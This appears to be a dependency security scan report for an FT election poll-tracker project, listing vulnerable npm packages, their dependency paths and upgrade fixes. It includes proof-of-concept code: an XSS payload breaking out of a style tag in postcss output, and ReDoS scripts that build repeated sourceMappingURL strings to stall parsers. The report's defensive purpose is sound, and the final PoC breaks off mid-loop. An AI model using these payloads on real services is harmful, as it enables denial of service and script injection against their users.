  • Introduced through: undefined@ft-interactive/us-elections-polltracker#HEAD nunjucks@2.5.2 chokidar@1.7.0 readdirp@2.2.1 micromatch@3.1.10
  • Introduced through: undefined@ft-interactive/us-elections-polltracker#HEAD g-ui@git+https://github.com/Financial-Times/g-ui.git#adds-templates chokidar@1.7.0 readdirp@2.2.1 micromatch@3.1.10
  • Introduced through: undefined@ft-interactive/us-elections-polltracker#HEAD trip@1.0.3 liftoff@2.5.0 findup-sync@2.0.0 micromatch@3.1.10
  • Introduced through: undefined@ft-interactive/us-elections-polltracker#HEAD g-ui@git+https://github.com/Financial-Times/g-ui.git#adds-templates nunjucks@2.5.2 chokidar@1.7.0 readdirp@2.2.1 micromatch@3.1.10
  • Introduced through: undefined@ft-interactive/us-elections-polltracker#HEAD sequelize-cli@2.8.0 gulp@3.9.1 liftoff@2.5.0 findup-sync@2.0.0 micromatch@3.1.10
    Remediation: Upgrade to sequelize-cli@3.0.0.

Overview

Affected versions of this package are vulnerable to Inefficient Regular Expression Complexity due to the use of unsafe pattern configurations that allow greedy matching through the micromatch.braces() function. An attacker can cause the application to hang or slow down by passing a malicious payload that triggers extensive backtracking in regular expression processing.

Remediation

Upgrade micromatch to version 4.0.8 or higher.

References

medium severity

Regular Expression Denial of Service (ReDoS)

  • Vulnerable module: minimatch
  • Introduced through: sequelize-cli@2.8.0

Detailed paths

  • Introduced through: undefined@ft-interactive/us-elections-polltracker#HEAD sequelize-cli@2.8.0 gulp@3.9.1 vinyl-fs@0.3.14 glob-stream@3.1.18 minimatch@2.0.10
  • Introduced through: undefined@ft-interactive/us-elections-polltracker#HEAD sequelize-cli@2.8.0 gulp@3.9.1 vinyl-fs@0.3.14 glob-stream@3.1.18 glob@4.5.3 minimatch@2.0.10
    Remediation: Upgrade to sequelize-cli@3.0.0.
  • Introduced through: undefined@ft-interactive/us-elections-polltracker#HEAD sequelize-cli@2.8.0 gulp@3.9.1 vinyl-fs@0.3.14 glob-watcher@0.0.6 gaze@0.5.2 globule@0.1.0 minimatch@0.2.14
  • Introduced through: undefined@ft-interactive/us-elections-polltracker#HEAD sequelize-cli@2.8.0 gulp@3.9.1 vinyl-fs@0.3.14 glob-watcher@0.0.6 gaze@0.5.2 globule@0.1.0 glob@3.1.21 minimatch@0.2.14

Overview

minimatch is a minimal matching utility.

Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) via the braceExpand function in minimatch.js.

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.

The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.

Let’s take the following regular expression as an example:

regex = /A(B|C+)+D/

This regular expression accomplishes the following:

  • A The string must start with the letter 'A'
  • (B|C+)+ The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the + matches one or more times). The + at the end of this section states that we can look for one or more matches of this section.
  • D Finally, we ensure this section of the string ends with a 'D'

The expression would match inputs such as ABBD, ABCCCCD, ABCBCCCD and ACCCCCD

It most cases, it doesn't take very long for a regex engine to find a match:

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
0.04s user 0.01s system 95% cpu 0.052 total

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
1.79s user 0.02s system 99% cpu 1.812 total

The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.

Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.

Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:

  1. CCC
  2. CC+C
  3. C+CC
  4. C+C+C.

The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.

From there, the number of steps the engine must use to validate a string just continues to grow.

String Number of C's Number of steps
ACCCX 3 38
ACCCCX 4 71
ACCCCCX 5 136
ACCCCCCCCCCCCCCX 14 65,553

By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.

Remediation

Upgrade minimatch to version 3.0.5 or higher.

References

medium severity

Improper Certificate Validation

  • Vulnerable module: node-sass
  • Introduced through: exhibit-plugin-sass@0.10.1

Detailed paths

  • Introduced through: undefined@ft-interactive/us-elections-polltracker#HEAD exhibit-plugin-sass@0.10.1 node-sass@3.13.1

Overview

node-sass is a Node.js bindings package for libsass.

Affected versions of this package are vulnerable to Improper Certificate Validation. Certificate validation is disabled by default when requesting binaries, even if the user is not specifying an alternative download path.

Remediation

Upgrade node-sass to version 7.0.0 or higher.

References

medium severity

Cross-site Scripting (XSS)

  • Vulnerable module: postcss
  • Introduced through: cssnano@3.10.0, exhibit-plugin-autoprefixer@0.10.1 and others

Detailed paths

  • Introduced through: undefined@ft-interactive/us-elections-polltracker#HEAD cssnano@3.10.0 postcss@5.2.18
    Remediation: Upgrade to cssnano@5.0.0.
  • Introduced through: undefined@ft-interactive/us-elections-polltracker#HEAD exhibit-plugin-autoprefixer@0.10.1 postcss@5.2.18
  • Introduced through: undefined@ft-interactive/us-elections-polltracker#HEAD exhibit-plugin-postcss@0.10.1 postcss@5.2.18
  • Introduced through: undefined@ft-interactive/us-elections-polltracker#HEAD cssnano@3.10.0 autoprefixer@6.7.7 postcss@5.2.18
    Remediation: Upgrade to cssnano@4.0.0.
  • Introduced through: undefined@ft-interactive/us-elections-polltracker#HEAD exhibit-plugin-autoprefixer@0.10.1 autoprefixer@6.7.7 postcss@5.2.18
  • Introduced through: undefined@ft-interactive/us-elections-polltracker#HEAD cssnano@3.10.0 postcss-calc@5.3.1 postcss@5.2.18
    Remediation: Upgrade to cssnano@4.0.0.
  • Introduced through: undefined@ft-interactive/us-elections-polltracker#HEAD cssnano@3.10.0 postcss-colormin@2.2.2 postcss@5.2.18
    Remediation: Upgrade to cssnano@4.0.0.
  • Introduced through: undefined@ft-interactive/us-elections-polltracker#HEAD cssnano@3.10.0 postcss-convert-values@2.6.1 postcss@5.2.18
    Remediation: Upgrade to cssnano@4.0.0.
  • Introduced through: undefined@ft-interactive/us-elections-polltracker#HEAD cssnano@3.10.0 postcss-discard-comments@2.0.4 postcss@5.2.18
    Remediation: Upgrade to cssnano@4.0.0.
  • Introduced through: undefined@ft-interactive/us-elections-polltracker#HEAD cssnano@3.10.0 postcss-discard-duplicates@2.1.0 postcss@5.2.18
    Remediation: Upgrade to cssnano@4.0.0.
  • Introduced through: undefined@ft-interactive/us-elections-polltracker#HEAD cssnano@3.10.0 postcss-discard-empty@2.1.0 postcss@5.2.18
    Remediation: Upgrade to cssnano@4.0.0.
  • Introduced through: undefined@ft-interactive/us-elections-polltracker#HEAD cssnano@3.10.0 postcss-discard-overridden@0.1.1 postcss@5.2.18
    Remediation: Upgrade to cssnano@4.0.0.
  • Introduced through: undefined@ft-interactive/us-elections-polltracker#HEAD cssnano@3.10.0 postcss-discard-unused@2.2.3 postcss@5.2.18
    Remediation: Upgrade to cssnano@4.0.0.
  • Introduced through: undefined@ft-interactive/us-elections-polltracker#HEAD cssnano@3.10.0 postcss-filter-plugins@2.0.3 postcss@5.2.18
    Remediation: Upgrade to cssnano@4.0.0.
  • Introduced through: undefined@ft-interactive/us-elections-polltracker#HEAD cssnano@3.10.0 postcss-merge-idents@2.1.7 postcss@5.2.18
    Remediation: Upgrade to cssnano@4.0.0.
  • Introduced through: undefined@ft-interactive/us-elections-polltracker#HEAD cssnano@3.10.0 postcss-merge-longhand@2.0.2 postcss@5.2.18
    Remediation: Upgrade to cssnano@4.0.0.
  • Introduced through: undefined@ft-interactive/us-elections-polltracker#HEAD cssnano@3.10.0 postcss-merge-rules@2.1.2 postcss@5.2.18
    Remediation: Upgrade to cssnano@4.0.0.
  • Introduced through: undefined@ft-interactive/us-elections-polltracker#HEAD cssnano@3.10.0 postcss-minify-font-values@1.0.5 postcss@5.2.18
    Remediation: Upgrade to cssnano@4.0.0.
  • Introduced through: undefined@ft-interactive/us-elections-polltracker#HEAD cssnano@3.10.0 postcss-minify-gradients@1.0.5 postcss@5.2.18
    Remediation: Upgrade to cssnano@4.0.0.
  • Introduced through: undefined@ft-interactive/us-elections-polltracker#HEAD cssnano@3.10.0 postcss-minify-params@1.2.2 postcss@5.2.18
    Remediation: Upgrade to cssnano@4.0.0.
  • Introduced through: undefined@ft-interactive/us-elections-polltracker#HEAD cssnano@3.10.0 postcss-minify-selectors@2.1.1 postcss@5.2.18
    Remediation: Upgrade to cssnano@4.0.0.
  • Introduced through: undefined@ft-interactive/us-elections-polltracker#HEAD cssnano@3.10.0 postcss-normalize-charset@1.1.1 postcss@5.2.18
    Remediation: Upgrade to cssnano@4.0.0.
  • Introduced through: undefined@ft-interactive/us-elections-polltracker#HEAD cssnano@3.10.0 postcss-normalize-url@3.0.8 postcss@5.2.18
    Remediation: Upgrade to cssnano@4.0.0.
  • Introduced through: undefined@ft-interactive/us-elections-polltracker#HEAD cssnano@3.10.0 postcss-ordered-values@2.2.3 postcss@5.2.18
    Remediation: Upgrade to cssnano@4.0.0.
  • Introduced through: undefined@ft-interactive/us-elections-polltracker#HEAD cssnano@3.10.0 postcss-reduce-idents@2.4.0 postcss@5.2.18
    Remediation: Upgrade to cssnano@4.0.0.
  • Introduced through: undefined@ft-interactive/us-elections-polltracker#HEAD cssnano@3.10.0 postcss-reduce-initial@1.0.1 postcss@5.2.18
    Remediation: Upgrade to cssnano@4.0.0.
  • Introduced through: undefined@ft-interactive/us-elections-polltracker#HEAD cssnano@3.10.0 postcss-reduce-transforms@1.0.4 postcss@5.2.18
    Remediation: Upgrade to cssnano@4.0.0.
  • Introduced through: undefined@ft-interactive/us-elections-polltracker#HEAD cssnano@3.10.0 postcss-svgo@2.1.6 postcss@5.2.18
    Remediation: Upgrade to cssnano@4.0.0.
  • Introduced through: undefined@ft-interactive/us-elections-polltracker#HEAD cssnano@3.10.0 postcss-unique-selectors@2.0.2 postcss@5.2.18
    Remediation: Upgrade to cssnano@4.0.0.
  • Introduced through: undefined@ft-interactive/us-elections-polltracker#HEAD cssnano@3.10.0 postcss-zindex@2.2.0 postcss@5.2.18
    Remediation: Upgrade to cssnano@4.0.0.

Overview

postcss is a PostCSS is a tool for transforming styles with JS plugins.

Affected versions of this package are vulnerable to Cross-site Scripting (XSS) in CSS Stringify Output. An attacker can execute arbitrary JavaScript code in the context of the affected web page by submitting crafted CSS containing </style> sequences that are not properly escaped when embedded within HTML <style> tags.

PoC

const postcss = require('postcss');

// Parse user CSS and re-stringify for page embedding
const userCSS = 'body { content: "</style><script>alert(1)</script><style>"; }';
const ast = postcss.parse(userCSS);
const output = ast.toResult().css;
const html = `<style>${output}</style>`;

console.log(html);
// <style>body { content: "</style><script>alert(1)</script><style>"; }</style>
//
// Browser: </style> closes the style tag, <script> executes

Details

Cross-site scripting (or XSS) is a code vulnerability that occurs when an attacker “injects” a malicious script into an otherwise trusted website. The injected script gets downloaded and executed by the end user’s browser when the user interacts with the compromised website.

This is done by escaping the context of the web application; the web application then delivers that data to its users along with other trusted dynamic content, without validating it. The browser unknowingly executes malicious script on the client side (through client-side languages; usually JavaScript or HTML) in order to perform actions that are otherwise typically blocked by the browser’s Same Origin Policy.

Injecting malicious code is the most prevalent manner by which XSS is exploited; for this reason, escaping characters in order to prevent this manipulation is the top method for securing code against this vulnerability.

Escaping means that the application is coded to mark key characters, and particularly key characters included in user input, to prevent those characters from being interpreted in a dangerous context. For example, in HTML, < can be coded as &lt; and > can be coded as &gt; in order to be interpreted and displayed as themselves in text, while within the code itself, they are used for HTML tags. If malicious content is injected into an application that escapes special characters and that malicious content uses < and > as HTML tags, those characters are nonetheless not interpreted as HTML tags by the browser if they’ve been correctly escaped in the application code and in this way the attempted attack is diverted.

The most prominent use of XSS is to steal cookies (source: OWASP HttpOnly) and hijack user sessions, but XSS exploits have been used to expose sensitive information, enable access to privileged services and functionality and deliver malware.

Types of attacks

There are a few methods by which XSS can be manipulated:

Type Origin Description
Stored Server The malicious code is inserted in the application (usually as a link) by the attacker. The code is activated every time a user clicks the link.
Reflected Server The attacker delivers a malicious link externally from the vulnerable web site application to a user. When clicked, malicious code is sent to the vulnerable web site, which reflects the attack back to the user’s browser.
DOM-based Client The attacker forces the user’s browser to render a malicious page. The data in the page itself delivers the cross-site scripting data.
Mutated The attacker injects code that appears safe, but is then rewritten and modified by the browser, while parsing the markup. An example is rebalancing unclosed quotation marks or even adding quotation marks to unquoted parameters.

Affected environments

The following environments are susceptible to an XSS attack:

  • Web servers
  • Application servers
  • Web application environments

How to prevent

This section describes the top best practices designed to specifically protect your code:

  • Sanitize data input in an HTTP request before reflecting it back, ensuring all data is validated, filtered or escaped before echoing anything back to the user, such as the values of query parameters during searches.
  • Convert special characters such as ?, &, /, <, > and spaces to their respective HTML or URL encoded equivalents.
  • Give users the option to disable client-side scripts.
  • Redirect invalid requests.
  • Detect simultaneous logins, including those from two separate IP addresses, and invalidate those sessions.
  • Use and enforce a Content Security Policy (source: Wikipedia) to disable any features that might be manipulated for an XSS attack.
  • Read the documentation for any of the libraries referenced in your code to understand which elements allow for embedded HTML.

Remediation

Upgrade postcss to version 8.5.10 or higher.

References

medium severity

Improper Input Validation

  • Vulnerable module: postcss
  • Introduced through: cssnano@3.10.0, exhibit-plugin-autoprefixer@0.10.1 and others

Detailed paths

  • Introduced through: undefined@ft-interactive/us-elections-polltracker#HEAD cssnano@3.10.0 postcss@5.2.18
    Remediation: Upgrade to cssnano@5.0.0.
  • Introduced through: undefined@ft-interactive/us-elections-polltracker#HEAD exhibit-plugin-autoprefixer@0.10.1 postcss@5.2.18
  • Introduced through: undefined@ft-interactive/us-elections-polltracker#HEAD exhibit-plugin-postcss@0.10.1 postcss@5.2.18
  • Introduced through: undefined@ft-interactive/us-elections-polltracker#HEAD cssnano@3.10.0 autoprefixer@6.7.7 postcss@5.2.18
    Remediation: Upgrade to cssnano@4.0.0.
  • Introduced through: undefined@ft-interactive/us-elections-polltracker#HEAD exhibit-plugin-autoprefixer@0.10.1 autoprefixer@6.7.7 postcss@5.2.18
  • Introduced through: undefined@ft-interactive/us-elections-polltracker#HEAD cssnano@3.10.0 postcss-calc@5.3.1 postcss@5.2.18
    Remediation: Upgrade to cssnano@4.0.0.
  • Introduced through: undefined@ft-interactive/us-elections-polltracker#HEAD cssnano@3.10.0 postcss-colormin@2.2.2 postcss@5.2.18
    Remediation: Upgrade to cssnano@4.0.0.
  • Introduced through: undefined@ft-interactive/us-elections-polltracker#HEAD cssnano@3.10.0 postcss-convert-values@2.6.1 postcss@5.2.18
    Remediation: Upgrade to cssnano@4.0.0.
  • Introduced through: undefined@ft-interactive/us-elections-polltracker#HEAD cssnano@3.10.0 postcss-discard-comments@2.0.4 postcss@5.2.18
    Remediation: Upgrade to cssnano@4.0.0.
  • Introduced through: undefined@ft-interactive/us-elections-polltracker#HEAD cssnano@3.10.0 postcss-discard-duplicates@2.1.0 postcss@5.2.18
    Remediation: Upgrade to cssnano@4.0.0.
  • Introduced through: undefined@ft-interactive/us-elections-polltracker#HEAD cssnano@3.10.0 postcss-discard-empty@2.1.0 postcss@5.2.18
    Remediation: Upgrade to cssnano@4.0.0.
  • Introduced through: undefined@ft-interactive/us-elections-polltracker#HEAD cssnano@3.10.0 postcss-discard-overridden@0.1.1 postcss@5.2.18
    Remediation: Upgrade to cssnano@4.0.0.
  • Introduced through: undefined@ft-interactive/us-elections-polltracker#HEAD cssnano@3.10.0 postcss-discard-unused@2.2.3 postcss@5.2.18
    Remediation: Upgrade to cssnano@4.0.0.
  • Introduced through: undefined@ft-interactive/us-elections-polltracker#HEAD cssnano@3.10.0 postcss-filter-plugins@2.0.3 postcss@5.2.18
    Remediation: Upgrade to cssnano@4.0.0.
  • Introduced through: undefined@ft-interactive/us-elections-polltracker#HEAD cssnano@3.10.0 postcss-merge-idents@2.1.7 postcss@5.2.18
    Remediation: Upgrade to cssnano@4.0.0.
  • Introduced through: undefined@ft-interactive/us-elections-polltracker#HEAD cssnano@3.10.0 postcss-merge-longhand@2.0.2 postcss@5.2.18
    Remediation: Upgrade to cssnano@4.0.0.
  • Introduced through: undefined@ft-interactive/us-elections-polltracker#HEAD cssnano@3.10.0 postcss-merge-rules@2.1.2 postcss@5.2.18
    Remediation: Upgrade to cssnano@4.0.0.
  • Introduced through: undefined@ft-interactive/us-elections-polltracker#HEAD cssnano@3.10.0 postcss-minify-font-values@1.0.5 postcss@5.2.18
    Remediation: Upgrade to cssnano@4.0.0.
  • Introduced through: undefined@ft-interactive/us-elections-polltracker#HEAD cssnano@3.10.0 postcss-minify-gradients@1.0.5 postcss@5.2.18
    Remediation: Upgrade to cssnano@4.0.0.
  • Introduced through: undefined@ft-interactive/us-elections-polltracker#HEAD cssnano@3.10.0 postcss-minify-params@1.2.2 postcss@5.2.18
    Remediation: Upgrade to cssnano@4.0.0.
  • Introduced through: undefined@ft-interactive/us-elections-polltracker#HEAD cssnano@3.10.0 postcss-minify-selectors@2.1.1 postcss@5.2.18
    Remediation: Upgrade to cssnano@4.0.0.
  • Introduced through: undefined@ft-interactive/us-elections-polltracker#HEAD cssnano@3.10.0 postcss-normalize-charset@1.1.1 postcss@5.2.18
    Remediation: Upgrade to cssnano@4.0.0.
  • Introduced through: undefined@ft-interactive/us-elections-polltracker#HEAD cssnano@3.10.0 postcss-normalize-url@3.0.8 postcss@5.2.18
    Remediation: Upgrade to cssnano@4.0.0.
  • Introduced through: undefined@ft-interactive/us-elections-polltracker#HEAD cssnano@3.10.0 postcss-ordered-values@2.2.3 postcss@5.2.18
    Remediation: Upgrade to cssnano@4.0.0.
  • Introduced through: undefined@ft-interactive/us-elections-polltracker#HEAD cssnano@3.10.0 postcss-reduce-idents@2.4.0 postcss@5.2.18
    Remediation: Upgrade to cssnano@4.0.0.
  • Introduced through: undefined@ft-interactive/us-elections-polltracker#HEAD cssnano@3.10.0 postcss-reduce-initial@1.0.1 postcss@5.2.18
    Remediation: Upgrade to cssnano@4.0.0.
  • Introduced through: undefined@ft-interactive/us-elections-polltracker#HEAD cssnano@3.10.0 postcss-reduce-transforms@1.0.4 postcss@5.2.18
    Remediation: Upgrade to cssnano@4.0.0.
  • Introduced through: undefined@ft-interactive/us-elections-polltracker#HEAD cssnano@3.10.0 postcss-svgo@2.1.6 postcss@5.2.18
    Remediation: Upgrade to cssnano@4.0.0.
  • Introduced through: undefined@ft-interactive/us-elections-polltracker#HEAD cssnano@3.10.0 postcss-unique-selectors@2.0.2 postcss@5.2.18
    Remediation: Upgrade to cssnano@4.0.0.
  • Introduced through: undefined@ft-interactive/us-elections-polltracker#HEAD cssnano@3.10.0 postcss-zindex@2.2.0 postcss@5.2.18
    Remediation: Upgrade to cssnano@4.0.0.

Overview

postcss is a PostCSS is a tool for transforming styles with JS plugins.

Affected versions of this package are vulnerable to Improper Input Validation when parsing external Cascading Style Sheets (CSS) with linters using PostCSS. An attacker can cause discrepancies by injecting malicious CSS rules, such as @font-face{ font:(\r/*);}. This vulnerability is because of an insecure regular expression usage in the RE_BAD_BRACKET variable.

Remediation

Upgrade postcss to version 8.4.31 or higher.

References

medium severity

Regular Expression Denial of Service (ReDoS)

  • Vulnerable module: postcss
  • Introduced through: cssnano@3.10.0, exhibit-plugin-autoprefixer@0.10.1 and others

Detailed paths

  • Introduced through: undefined@ft-interactive/us-elections-polltracker#HEAD cssnano@3.10.0 postcss@5.2.18
    Remediation: Upgrade to cssnano@4.1.1.
  • Introduced through: undefined@ft-interactive/us-elections-polltracker#HEAD exhibit-plugin-autoprefixer@0.10.1 postcss@5.2.18
  • Introduced through: undefined@ft-interactive/us-elections-polltracker#HEAD exhibit-plugin-postcss@0.10.1 postcss@5.2.18
  • Introduced through: undefined@ft-interactive/us-elections-polltracker#HEAD cssnano@3.10.0 autoprefixer@6.7.7 postcss@5.2.18
    Remediation: Upgrade to cssnano@4.0.0.
  • Introduced through: undefined@ft-interactive/us-elections-polltracker#HEAD exhibit-plugin-autoprefixer@0.10.1 autoprefixer@6.7.7 postcss@5.2.18
  • Introduced through: undefined@ft-interactive/us-elections-polltracker#HEAD cssnano@3.10.0 postcss-calc@5.3.1 postcss@5.2.18
    Remediation: Upgrade to cssnano@4.0.0.
  • Introduced through: undefined@ft-interactive/us-elections-polltracker#HEAD cssnano@3.10.0 postcss-colormin@2.2.2 postcss@5.2.18
    Remediation: Upgrade to cssnano@4.0.0.
  • Introduced through: undefined@ft-interactive/us-elections-polltracker#HEAD cssnano@3.10.0 postcss-convert-values@2.6.1 postcss@5.2.18
    Remediation: Upgrade to cssnano@4.0.0.
  • Introduced through: undefined@ft-interactive/us-elections-polltracker#HEAD cssnano@3.10.0 postcss-discard-comments@2.0.4 postcss@5.2.18
    Remediation: Upgrade to cssnano@4.0.0.
  • Introduced through: undefined@ft-interactive/us-elections-polltracker#HEAD cssnano@3.10.0 postcss-discard-duplicates@2.1.0 postcss@5.2.18
    Remediation: Upgrade to cssnano@4.0.0.
  • Introduced through: undefined@ft-interactive/us-elections-polltracker#HEAD cssnano@3.10.0 postcss-discard-empty@2.1.0 postcss@5.2.18
    Remediation: Upgrade to cssnano@4.0.0.
  • Introduced through: undefined@ft-interactive/us-elections-polltracker#HEAD cssnano@3.10.0 postcss-discard-overridden@0.1.1 postcss@5.2.18
    Remediation: Upgrade to cssnano@4.0.0.
  • Introduced through: undefined@ft-interactive/us-elections-polltracker#HEAD cssnano@3.10.0 postcss-discard-unused@2.2.3 postcss@5.2.18
    Remediation: Upgrade to cssnano@4.0.0.
  • Introduced through: undefined@ft-interactive/us-elections-polltracker#HEAD cssnano@3.10.0 postcss-filter-plugins@2.0.3 postcss@5.2.18
    Remediation: Upgrade to cssnano@4.0.0.
  • Introduced through: undefined@ft-interactive/us-elections-polltracker#HEAD cssnano@3.10.0 postcss-merge-idents@2.1.7 postcss@5.2.18
    Remediation: Upgrade to cssnano@4.0.0.
  • Introduced through: undefined@ft-interactive/us-elections-polltracker#HEAD cssnano@3.10.0 postcss-merge-longhand@2.0.2 postcss@5.2.18
    Remediation: Upgrade to cssnano@4.0.0.
  • Introduced through: undefined@ft-interactive/us-elections-polltracker#HEAD cssnano@3.10.0 postcss-merge-rules@2.1.2 postcss@5.2.18
    Remediation: Upgrade to cssnano@4.0.0.
  • Introduced through: undefined@ft-interactive/us-elections-polltracker#HEAD cssnano@3.10.0 postcss-minify-font-values@1.0.5 postcss@5.2.18
    Remediation: Upgrade to cssnano@4.0.0.
  • Introduced through: undefined@ft-interactive/us-elections-polltracker#HEAD cssnano@3.10.0 postcss-minify-gradients@1.0.5 postcss@5.2.18
    Remediation: Upgrade to cssnano@4.0.0.
  • Introduced through: undefined@ft-interactive/us-elections-polltracker#HEAD cssnano@3.10.0 postcss-minify-params@1.2.2 postcss@5.2.18
    Remediation: Upgrade to cssnano@4.0.0.
  • Introduced through: undefined@ft-interactive/us-elections-polltracker#HEAD cssnano@3.10.0 postcss-minify-selectors@2.1.1 postcss@5.2.18
    Remediation: Upgrade to cssnano@4.0.0.
  • Introduced through: undefined@ft-interactive/us-elections-polltracker#HEAD cssnano@3.10.0 postcss-normalize-charset@1.1.1 postcss@5.2.18
    Remediation: Upgrade to cssnano@4.0.0.
  • Introduced through: undefined@ft-interactive/us-elections-polltracker#HEAD cssnano@3.10.0 postcss-normalize-url@3.0.8 postcss@5.2.18
    Remediation: Upgrade to cssnano@4.0.0.
  • Introduced through: undefined@ft-interactive/us-elections-polltracker#HEAD cssnano@3.10.0 postcss-ordered-values@2.2.3 postcss@5.2.18
    Remediation: Upgrade to cssnano@4.0.0.
  • Introduced through: undefined@ft-interactive/us-elections-polltracker#HEAD cssnano@3.10.0 postcss-reduce-idents@2.4.0 postcss@5.2.18
    Remediation: Upgrade to cssnano@4.0.0.
  • Introduced through: undefined@ft-interactive/us-elections-polltracker#HEAD cssnano@3.10.0 postcss-reduce-initial@1.0.1 postcss@5.2.18
    Remediation: Upgrade to cssnano@4.0.0.
  • Introduced through: undefined@ft-interactive/us-elections-polltracker#HEAD cssnano@3.10.0 postcss-reduce-transforms@1.0.4 postcss@5.2.18
    Remediation: Upgrade to cssnano@4.0.0.
  • Introduced through: undefined@ft-interactive/us-elections-polltracker#HEAD cssnano@3.10.0 postcss-svgo@2.1.6 postcss@5.2.18
    Remediation: Upgrade to cssnano@4.0.0.
  • Introduced through: undefined@ft-interactive/us-elections-polltracker#HEAD cssnano@3.10.0 postcss-unique-selectors@2.0.2 postcss@5.2.18
    Remediation: Upgrade to cssnano@4.0.0.
  • Introduced through: undefined@ft-interactive/us-elections-polltracker#HEAD cssnano@3.10.0 postcss-zindex@2.2.0 postcss@5.2.18
    Remediation: Upgrade to cssnano@4.0.0.

Overview

postcss is a PostCSS is a tool for transforming styles with JS plugins.

Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) via getAnnotationURL() and loadAnnotation() in lib/previous-map.js. The vulnerable regexes are caused mainly by the sub-pattern \/\*\s*# sourceMappingURL=(.*).

PoC

var postcss = require("postcss")
function build_attack(n) {
    var ret = "a{}"
    for (var i = 0; i < n; i++) {
        ret += "/*# sourceMappingURL="
    }
    return ret + "!";
}

// postcss.parse('a{}/*# sourceMappingURL=a.css.map */')
for(var i = 1; i <= 500000; i++) {
    if (i % 1000 == 0) {
        var time = Date.now();
        var attack_str = build_attack(i)
        try{
            postcss.parse(attack_str)
            var time_cost = Date.now() - time;
            console.log("attack_str.length: " + attack_str.length + ": " + time_cost+" ms");
            }
        catch(e){
        var time_cost = Date.now() - time;
        console.log("attack_str.length: " + attack_str.length + ": " + time_cost+" ms");
        }
    }
}

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.

The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.

Let’s take the following regular expression as an example:

regex = /A(B|C+)+D/

This regular expression accomplishes the following:

  • A The string must start with the letter 'A'
  • (B|C+)+ The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the + matches one or more times). The + at the end of this section states that we can look for one or more matches of this section.
  • D Finally, we ensure this section of the string ends with a 'D'

The expression would match inputs such as ABBD, ABCCCCD, ABCBCCCD and ACCCCCD

It most cases, it doesn't take very long for a regex engine to find a match:

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
0.04s user 0.01s system 95% cpu 0.052 total

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
1.79s user 0.02s system 99% cpu 1.812 total

The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.

Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.

Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:

  1. CCC
  2. CC+C
  3. C+CC
  4. C+C+C.

The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.

From there, the number of steps the engine must use to validate a string just continues to grow.

String Number of C's Number of steps
ACCCX 3 38
ACCCCX 4 71
ACCCCCX 5 136
ACCCCCCCCCCCCCCX 14 65,553

By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.

Remediation

Upgrade postcss to version 8.2.13, 7.0.36 or higher.

References

medium severity

Regular Expression Denial of Service (ReDoS)

  • Vulnerable module: scss-tokenizer
  • Introduced through: exhibit-plugin-sass@0.10.1

Detailed paths

  • Introduced through: undefined@ft-interactive/us-elections-polltracker#HEAD exhibit-plugin-sass@0.10.1 node-sass@3.13.1 sass-graph@2.2.6 scss-tokenizer@0.2.3

Overview

Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) via the loadAnnotation() function, due to the usage of insecure regex.

PoC

var scss = require("scss-tokenizer")
function build_attack(n) {
    var ret = "a{}"
    for (var i = 0; i < n; i++) {
        ret += "/*# sourceMappingURL="
    }
    return ret + "!";
}

// postcss.parse('a{}/*# sourceMappingURL=a.css.map */')
for(var i = 1; i <= 500000; i++) {
    if (i % 1000 == 0) {
